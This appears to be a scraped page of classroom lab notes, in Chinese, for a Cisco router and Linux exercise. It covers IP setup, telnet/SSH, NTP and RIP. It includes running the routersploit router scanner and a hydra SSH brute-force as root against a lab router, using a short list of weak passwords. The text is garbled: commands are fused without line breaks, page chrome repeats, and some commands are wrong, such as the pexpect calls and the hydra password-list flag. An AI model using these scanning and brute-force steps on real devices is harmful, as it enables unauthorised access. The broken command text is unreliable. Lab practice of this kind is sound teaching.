20201202 cisco KDLinux
課堂資料

建立一個 router 和 Linux,並將它們設置 IP





eth0 自帶 IP,可以直接 Ping
8.8.8.8和www.google.com

時間設置
更新



課堂練習











Last updated
Was this helpful?

建立一個 router 和 Linux,並將它們設置 IP





eth0 自帶 IP,可以直接 Ping
8.8.8.8和www.google.com

時間設置
更新














Last updated
Was this helpful?
Was this helpful?
int e0/0ip addr 192.168.1.1 255.255.255.0no shutline vty 0 4loginpassword ciscotransport input telnetip addr add 192.168.1.2/24 brd + dev eth0ping 192.168.1.1telnet 192.168.1.1timedatectl set-timezone Asia/Taipeisystemctl restart ntp.servicentpdapt updateapt install curl wgetuseradd usermkdir /home/user -pchown user:user /home/usersu - userbashgit clone https://github.com/reverse-shell/routersploitcd routersploit/python3 -m pip install -r requirements.txtpython3 rsf.pyuse scanners/routers/router_scanset target 12.1.1.1runexitint e0/0ip add 12.1.1.1 255.255.255.0no shutrouter ripver 2no auto-summarynetwork 12.1.1.0exitip domain-name test.comcrypto key generate rsaip ssh ver 2line vty 0 4login localtransport input sshusername root privilege 15 password 12345endshow running-config | inc usernameint e0/0ip add 12.1.1.2 255.255.255.0no shutint e0/1ip add 192.168.1.1 255.255.255.0no shutrouter ripver 2no auto-summarynetwork 12.1.1.0network 192.168.1.0endssh -l root 12.1.1.1ip addr add 192.168.1.2/24 brd + dev eth0ip route add default via 192.168.1.1ping 192.168.1.1ping 12.1.1.1cd Downloadsvim test.txt123
1234
12345
123456
111
222hydra -l root -p test.txt ssh://12.1.1.1 -t 4int e0/2ip addr dhcpno shutdo sh ip int briefexitenable password 12345line vty 0 4password 12345logintransport input telnetping 192.168.8.135yum install telnettelnet 192.168.8.135yum install python-pippip install pexpectyum install python3 python3-pippython3import pexpectchild=pexpect.spawn('telnet 192.168.157.143')child=expect('Password:')child=sendline('12345')child=expect('R2#')child=sendline('sh ip int brief')child=expect('R2#')child.beforecd /tmpip ro sh./test.py